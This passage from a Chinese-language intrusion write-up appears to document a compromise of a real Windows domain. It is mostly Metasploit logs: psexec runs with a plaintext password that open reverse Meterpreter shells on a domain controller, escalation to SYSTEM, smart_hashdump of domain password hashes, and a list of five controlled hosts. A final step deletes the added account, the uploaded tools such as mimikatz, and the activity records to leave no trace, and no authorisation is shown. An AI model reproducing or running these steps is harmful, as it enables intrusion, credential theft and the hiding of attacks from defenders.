- 3 使用 msf 的 psexec 反弹 meterpreter

反弹需要注意要用到的知识，我们这里采用的是 psesexc 来反弹 meterpreter,其中涉及到的知识如下：

- 1 msf 中 psexec 模块的使用
- 2 custom 模块的使用，配合 meterpreter,在 payload 不免杀的情况下如何使用自己 Veil 生成的 payload

详细的使用过程如下图：

```

msf exploit(handler) > use exploit/windows/smb/psexec
msf exploit(psexec) > set smbuser sonicwall1
smbuser => sonicwall1
msf exploit(psexec) > set smbpass Passw0rk!@3
smbpass => Passw0rk!@3
msf exploit(psexec) > set smbdomain [REDACTED]
smbdomain => MEDABIL
msf exploit(psexec) > run

[-] Exploit failed: The following options failed to validate: RHOST.
msf exploit(psexec) > set rhost 10.51.0.64
rhost => 10.51.0.64
msf exploit(psexec) > run

[*] Started reverse handler on [REDACTED]:4444
[*] Connecting to the server...
[*] Authenticating to 10.51.0.64:445|[REDACTED] as user 'sonicwall1'...
[*] Selecting PowerShell target
[*] 10.51.0.64:445 - Executing the payload...
[+] 10.51.0.64:445 - Service start timed out, OK if running a command or non-service

```

图 10-1 psexec 执行测试

```

msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

  Name          Current Setting  Required  Description
  ----          -
  RHOST          10.51.0.64      yes       The target address
  RPORT          445              yes       Set the SMB service port
  SERVICE_DESCRIPTION
  SERVICE_DISPLAY_NAME
  SERVICE_NAME   no              no       The service name
  SHARE          ADMIN$           yes       The share to connect to, can be an admin share (ADMIN
  SMBDomain      .                no       The Windows domain to use for authentication
  SMBPass        Passw0rk!@3     no       The password for the specified username
  SMBUser        sonicwall1      no       The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

  Name          Current Setting  Required  Description
  ----          -
  EXITFUNC      thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST         .                yes       The listen address
  LPORT         4444            yes       The listen port

```

图 10-2 psexec 默认反弹不成功

```
msf exploit(psexec) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(psexec) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8443/
[*] Connecting to the server...
[*] Authenticating to 10.51.0.64:445 [REDACTED] as user 'sonicwall1'...
[*] Selecting PowerShell target
[*] 10.51.0.64:445 - Executing the payload...
[+] 10.51.0.64:445 - Service start timed out, OK if running a command or non-service executable...
[*] 200.215.209.72:21745 (UUID: 2b3a06c731d248cc/x86=1/windows=1/2015-12-11T21:10:29Z) Staging Native pay
[*] Meterpreter session 5 opened ([REDACTED]:8443 -> [REDACTED]:21745) at 2015-12-11 16:10:57 -0500
[-] Exploit aborted due to failure: unknown: 10.51.0.64:445 - Unable to execute specified command: The SM

meterpreter > ps
[-] Unknown command: ps.
meterpreter > ps

Process List
=====
```

图 10-3 meterpreter 的 https 模块反弹成功

```
meterpreter > migrate 2416
[*] Migrating from 9912 to 2416...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 2416
meterpreter > sysinfo
Computer      : PAVMSAD64
OS           : Windows 2012 (Build 9200).
Architecture : x64
System Language : pt_BR
Domain       : [REDACTED]
Logged On Users : 16
Meterpreter  : x64/win64
meterpreter > █
```

图 10-4 域控的系统信息

第十一步 Meterpreter 获取所有用户的 hash

有了域的权限之后，如果我们还想进行深层次的控制，那么 dumhash 是必不可少的。首先来看看我们需要的知识：

1 msf 有两个模块可以使用，一个是 hashdump，此模块只能导出本地的 hash，大家测试就可以知道了，另外一个 smart_hashdump，此模块可以用来导出域用户的 hash。

2 powershell 有可以直接导出的模块，大家自行尝试一下

3 wce, mimikatz 等神器的使用

在这里我采用的是 msf 的 smart_hashdump 的模块。在此需要注意的是要想使用此模块导出 hash，必须要使用 system 的权限才行。详细的过程如下图：

```
msf exploit(psexec) > search smart_hashdump

Matching Modules
=====

```

Name	Disclosure Date	Rank	Description
post/windows/gather/smart_hashdump		normal	Windows Gather Local

```

msf exploit(psexec) > use post/windows/gather/smart_hashdump
msf post(smart_hashdump) > show options

Module options (post/windows/gather/smart_hashdump):

Name          Current Setting  Required  Description
----          -
GETSYSTEM     false           no        Attempt to get SYSTEM privilege on the targ
SESSION       yes             yes       The session to run this module on.

msf post(smart_hashdump) > set session 5
session => 5
msf post(smart_hashdump) > run

[*] Running module against PAVMSAD64
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20151211161520_default_10.51.0.64_windows.hashes_749907.txt
[+] This host is a Domain Controller!
[*] Dumping password hashes...
```

图 11-1 smart_hashdump 模块的使用

第十二步 曲折的探索之路

这里是整理一下之前用到的一些技术，和走过的一些弯路。文档到这差不多算是完成了一个从 webshell 到域控的探索之路算是完成了，当然在这里我把过程中走的一些弯路还有不足点指出来，欢迎大家的指正，共同学习。

```
msf post(smart_hashdump) > sessions

Active sessions
=====

```

Id	Type	Information	Connection
1	meterpreter	x86/win32 [REDACTED]_MA1384 @ PAVMSEF21	[REDACTED]:443 -> [REDACTED]:65164 (10.51.0.21)
2	meterpreter	x86/win32 NT AUTHORITY\SYSTEM @ PAVMSEP131	[REDACTED]:443 -> [REDACTED]:48859 (10.51.0.131)
3	meterpreter	x86/win32 NT AUTHORITY\SYSTEM @ PAVMSDI142	[REDACTED]:443 -> [REDACTED]:50259 (10.51.0.142)
4	meterpreter	x64/win64 [REDACTED]\sonicwall @ PAVMSXD30	[REDACTED]:443 -> [REDACTED]:34341 (10.51.0.30)
5	meterpreter	x64/win64 NT AUTHORITY\SYSTEM @ PAVMSAD64	[REDACTED]:8443 -> [REDACTED]:21745 (10.51.0.64)

图 12-1 session 控制图

根据上面的图知道，我现在控制的 Session 一共有 5 个，其中有四个是必须要获取的，分别为 session1,session2 session4,session5。其中 session1 为 webshell 反弹所获得，第二个 session2 是信息分析获取到的，,session4 为获取域管理员所获取，session5 为域。其中 session3 就是我所走过的弯路，浪费了时间。之后我们必须为了更好更快速有效的完成渗透测试，平

时努力练剑。尽力做到不出剑则已，出剑则见血。

第十三步 我轻轻的来了，我又轻轻的走了，管理员，再见(清理)

作为一次比较成功的友情测试，我们必须要做到来无影，去无踪。所以收尾工作，也将悄悄展开。涉及到相关的知识点：

- 1 删除之前添加的域管理账号
- 2 删除所有的使用过程中的工具
- 3 删除自己所有的操作记录
- 4 关闭所有的 meterpreter

在此过程中我们一共上传了两个文件，一个 bar.bat,一个 64 位的 mimikatz 抓密码工具，直接删除即可。

```
PS C:\Windows\system32> net user sonicwall1 /del
The command completed successfully.
PS C:\Windows\system32> logoff _
```

图 13-1 删除用户

```
msf exploit(psexec) > sessions

Active sessions
=====

  Id  Type           Information                                     Connection
  --  -
  1   meterpreter x86/win32 [REDACTED] \MA1384 @ PAVMSEF21 [REDACTED] :65164 (10.51.0.21)
  2   meterpreter x86/win32 NT AUTHORITY\SYSTEM @ PAVMSEP131 [REDACTED] :48859 (10.51.0.131)
  3   meterpreter x86/win32 NT AUTHORITY\SYSTEM @ PAVMSDI142 [REDACTED] :50259 (10.51.0.142)
  4   meterpreter x64/win64 [REDACTED] onicwall @ PAVMSXD30 [REDACTED] :34341 (10.51.0.30)
  5   meterpreter x64/win64 NT AUTHORITY\SYSTEM @ PAVMSAD64 [REDACTED] :21745 (10.51.0.64)

msf exploit(psexec) > sessions -K
[*] Killing all sessions..
[*] 10.51.0.21 - Meterpreter session 1 closed.
[*] 10.51.0.131 - Meterpreter session 2 closed.
[*] 10.51.0.142 - Meterpreter session 3 closed.
[*] 10.51.0.30 - Meterpreter session 4 closed.
[*] 10.51.0.64 - Meterpreter session 5 closed.
msf exploit(psexec) > 
```

图 13-2 关闭所有的 session

总结

总结说点什么好呢。还是先喊口号吧-----“求妹子，求师傅，求神器”。感谢三年多以来为我默默分享的师傅们，感谢妹子在我做这次友情测试的时候，她一直静静的陪在我这边，感谢这些年求来的各种神器，没有这些资源的支持，我将不会完成这次的友情测试。作为一名渗透测试爱好者，我们一直在努力的追求着心中那个美丽的梦想；作为一名程序员，我们就是想简单的 coding。人生如此美好，大家何不联手，一起分享美好。